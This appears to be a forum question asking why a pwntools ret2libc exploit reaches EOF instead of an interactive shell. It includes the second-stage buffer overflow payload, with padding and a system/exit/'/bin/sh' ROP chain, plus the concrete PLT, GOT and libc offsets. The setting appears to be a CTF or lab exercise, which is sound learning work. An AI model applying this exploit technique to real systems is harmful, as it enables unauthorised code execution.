When I run pwntools
, I'm getting
[+] Here comes the shell!
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
Why is it getting EOF
? Where should I start looking for the problem, currently my second payload is
# Build 2nd payload
payload2 = b'A'*140
ropchain2 = p32(system_addr)
ropchain2 += p32(exit_addr)
# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
# Thus you'll execute system("sh")
ropchain2 += p32(binsh_addr)
payload2 = payload2 + ropchain2
p.sendline(payload2)
log.success("Here comes the shell!")
p.clean()
p.interactive()
This is adapted from the Megabeets example with the modification given here
If I print(payload2)
, I get
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xe2\xdd\xf7\xd0\x13\xdd\xf7\xcf\xf0\xf1\xf7'
Which seems correct. The values I used to generate the payload are,
# Addresses
puts_plt = 0x08048390
puts_got = 0x0804a014
entry_point = 0x080483d0
# Offsets
offset_puts = 0x00067b40
offset_system = 0x0003d200
offset_exit = 0x000303d0
offset_str_bin_sh = 0x17e0cf